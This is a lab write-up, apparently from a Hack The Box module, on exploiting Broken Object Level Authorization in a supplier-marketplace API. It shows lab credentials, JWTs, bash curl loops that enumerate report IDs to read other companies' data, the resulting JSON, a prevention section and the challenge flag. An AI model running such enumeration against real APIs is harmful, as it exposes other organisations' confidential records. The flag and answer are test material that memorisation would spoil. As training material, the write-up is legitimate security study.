Broken Object Level Authorization

Web APIs allow users to request data or records by sending various parameters, including unique identifiers such as Universally Unique Identifiers (UUIDs), also known as Globally Unique Identifiers (GUIDs), and integer IDs. However, failing to properly and securely verify that a user has ownership and permission to view a specific resource through object-level authorization mechanisms can lead to data exposure and security vulnerabilities.

A web API endpoint is vulnerable to Broken Object Level Authorization (BOLA), also known as Insecure Direct Object Reference (IDOR), if its authorization checks (implemented at the source-code level) fail to correctly ensure that an authenticated user has sufficient permissions or privileges to request and view specific data or perform certain operations.

Authorization Bypass Through User-Controlled Key

The endpoint we will be practicing against is vulnerable to CWE-639: Authorization Bypass Through User-Controlled Key.

Scenario

The admin of Inlanefreight E-Commerce Marketplace has provided us with the credentials htbpentester1@pentestercompany.com:HTBPentester1, wanting us to assess what API vulnerabilities the user can exploit with their assigned roles.

Because the account belongs to a Supplier, we will utilize the /api/v1/authentication/suppliers/sign-in endpoint to sign in and obtain a JWT:

GIF showcasing the usage of Swagger UI to send a request to an API call.

To authenticate using the JWT, we will copy it from the response and click the Authorize button. Note the lock icon, currently unlocked, indicating our non-authenticated status. Next, we will paste the JWT into the Value text field within the Available authorizations popup and click Authorize. Upon completion, the lock icon will be fully locked, confirming our authentication:

GIF showcasing the authorization using a JWT token.

When examining the endpoints within the Suppliers group (notice how they have a lock at their right-most side, indicating that authentication is required), we will notice one named /api/v1/suppliers/current-user:

image-3.png

Endpoints containing current-user in their path indicate that they utilize the JWT of the currently authenticated user to perform the specified operation, which in this case is retrieving the current user's data. Upon invoking the endpoint, we will retrieve our current user's company ID, b75a7c76-e149-4ca7-9c55-d9fc4ffa87be, a Guid value:

image-4.png

Let us then retrieve our current user's roles. After invoking the /api/v1/roles/current-user endpoint, it responds with the role SupplierCompanies_GetYearlyReportByID:

image-5.png

In the Supplier-Companies group, we find an endpoint related to the role SupplierCompanies_GetYearlyReportByID that accepts a GET parameter: /api/v1/supplier-companies/yearly-reports/{ID}:

image-6.png

When expanding it, we will notice that it requires the SupplierCompanies_GetYearlyReportByID role and accepts the ID parameter as an integer and not a Guid:

image-7.png

If we use 1 as the ID, we will receive a yearly-report belonging to a company with the ID f9e58492-b594-4d82-a4de-16e4f230fce1, which is not the one we belong to, b75a7c76-e149-4ca7-9c55-d9fc4ffa87be:

image-8.png

When trying other IDs, we still can access yearly reports of other supplier-companies, allowing us to access potentially sensitive business data:

image-9.png

Additionally, we can mass abuse the BOLA vulnerability and fetch the first 20 yearly reports of supplier-companies:

GIF showcasing the BOLA mass abuse to fetch the first 20 yearly reports.

The only changes we need to make to the copied cURL command from the Swagger interface are using a Bash for-loop with variable interpolation, adding a new line after each response using the flag -w "\n", silencing progress using the flag -s, and piping the output to jq:

m4cc18@htb[/htb]$ for ((i=1; i<= 20; i++)); do
curl -s -w "\n" -X 'GET' \
  'http://94.237.49.212:43104/api/v1/supplier-companies/yearly-reports/'$i'' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjFAcGVudGVzdGVyY29tcGFueS5jb20iLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOiJTdXBwbGllckNvbXBhbmllc19HZXRZZWFybHlSZXBvcnRCeUlEIiwiZXhwIjoxNzIwMTg1NzAwLCJpc3MiOiJodHRwOi8vYXBpLmlubGFuZWZyZWlnaHQuaHRiIiwiYXVkIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiJ9.D6E5gJ-HzeLZLSXeIC4v5iynZetx7f-bpWu8iE_pUODlpoWdYKniY9agU2qRYyf6tAGdTcyqLFKt1tOhpOsWlw' | jq
done

{
  "supplierCompanyYearlyReport": {
    "id": 1,
    "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
    "year": 2020,
    "revenue": 794425112,
    "commentsFromCLevel": "Superb work! The Board is over the moon! All employees will enjoy a dream vacation!"
  }
}
{
  "supplierCompanyYearlyReport": {
    "id": 2,
    "companyID": "f9e58492-b594-4d82-a4de-16e4f230fce1",
    "year": 2022,
    "revenue": 339322952,
    "commentsFromCLevel": "Excellent performance! The Board is exhilarated! Prepare for a special vacation adventure!"
  }
}
{
  "supplierCompanyYearlyReport": {
    "id": 3,
    "companyID": "058ac1e5-3807-47f3-b546-cc069366f8f9",
    "year": 2020,
    "revenue": 186208503,
    "commentsFromCLevel": "Phenomenal performance! The Board is deeply impressed! Everyone will be treated to a deluxe vacation!"
  }
}

<SNIP>

Prevention

To mitigate the BOLA vulnerability, the endpoint /api/v1/supplier-companies/yearly-reports should implement a verification step (at the source code level) to ensure that authorized users can only access yearly reports associated with their affiliated company. This verification involves comparing the companyID field of the report with the authenticated supplier's companyID. Access should be granted only if these values match; otherwise, the request should be denied. This approach effectively maintains data segregation between supplier-companies' yearly reports.


Exercise

TARGET: 154.57.164.74:32539

Authenticate to target with username "htbpentester2@pentestercompany.com" and password "HTBPentester2"

Challenge 1

Exploit another Broken Object Level Authorization vulnerability and submit the flag.

First of course we need to visit 154.57.164.74:32539/swagger on our browser. Then we need to authenticate ourselves by using an API endpoint. We will utilize the /api/v1/authentication/suppliers/sign-in endpoint to sign in and obtain a JWT, this is since the given account is from a supplier (PenTesting suppliers).
image-10.png

Click Execute to ask for our JWT:
image-11.png
So our JWT is:

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjJAcGVudGVzdGVyY29tcGFueS5jb20iLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOlsiU3VwcGxpZXJDb21wYW5pZXNfR2V0WWVhcmx5UmVwb3J0QnlJRCIsIlN1cHBsaWVyc19HZXRRdWFydGVybHlSZXBvcnRCeUlEIl0sImV4cCI6MTc5MDYxMjY3NCwiaXNzIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiIsImF1ZCI6Imh0dHA6Ly9hcGkuaW5sYW5lZnJlaWdodC5odGIifQ.JTMSTspNOUwzqGHy3Fd30wsmAzZ5m-F19FPWHCoE0SqYd8vVc3gdg6NHw2g5IZ9TpFmrhLCfO4BtXwzFhxZ4Pw

Next, in order to really authenticate ourselves, we are going to scroll back up and click Authorize then paste the JWT we just got:
image-12.png

Now we are authenticated and ready to test some of the api endpoints. Since we are told that we need to find a different BOLA vulnerability, I will go ahead and start with the other API endpoint that requires an integer ID argument (since that is easier for us to predict e.g. 1,2,3,...).

Since we have a suppliers account I will go straight to the Suppliers section and look at an API endpoint that requires an integer ID argument. In this case the only one left is: /api/v1/suppliers/quarterly-reports/{ID}
image-14.png
Test it by giving any integer argument (preferably low numbers). I will start by giving 1 as the ID argument:
image-15.png

Since the flag is probably hidden among the several quarterly reports that we can access, I will go ahead and run the following Bash command (using a for-loop) to request the first 20 quarterly reports (IDs 1-20):

┌──(macc㉿kaliLab)-[~]
└─$ for ((i=1; i<= 20; i++)); do
curl -s -w "\n" -X 'GET' \
  'http://154.57.164.74:32539/api/v1/suppliers/quarterly-reports/'$i'' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjJAcGVudGVzdGVyY29tcGFueS5jb20iLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOlsiU3VwcGxpZXJDb21wYW5pZXNfR2V0WWVhcmx5UmVwb3J0QnlJRCIsIlN1cHBsaWVyc19HZXRRdWFydGVybHlSZXBvcnRCeUlEIl0sImV4cCI6MTc5MDYxMjY3NCwiaXNzIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiIsImF1ZCI6Imh0dHA6Ly9hcGkuaW5sYW5lZnJlaWdodC5odGIifQ.JTMSTspNOUwzqGHy3Fd30wsmAzZ5m-F19FPWHCoE0SqYd8vVc3gdg6NHw2g5IZ9TpFmrhLCfO4BtXwzFhxZ4Pw' | jq
done

Output:

{
  "supplierQuarterlyReport": {
    "id": 1,
    "supplierID": "00ac3d74-6c7d-4ef0-bf15-00851bf353ba",
    "quarter": 4,
    "year": 2020,
    "amountSold": 678509,
    "commentsFromManager": "Incredible dedication! I'm absolutely delighted with your hard work! A surprise vacation awaits you!"
  }
}
{
  "supplierQuarterlyReport": {
    "id": 2,
    "supplierID": "00ac3d74-6c7d-4ef0-bf15-00851bf353ba",
    "quarter": 3,
    "year": 2022,
    "amountSold": 608221,
    "commentsFromManager": "Remarkable dedication! I'm full of admiration for your efforts! Get ready for a custom-tailored reward!"
  }
}
...
{
  "supplierQuarterlyReport": {
    "id": 8,
    "supplierID": "b2d1a1a9-d5bb-4973-bbe4-9a605b6f0da4",
    "quarter": 3,
    "year": 2023,
    "amountSold": 10000,
    "commentsFromManager": "HTB{e76651e1f516eb5d7260621c26754776}"
  }
}

flag: HTB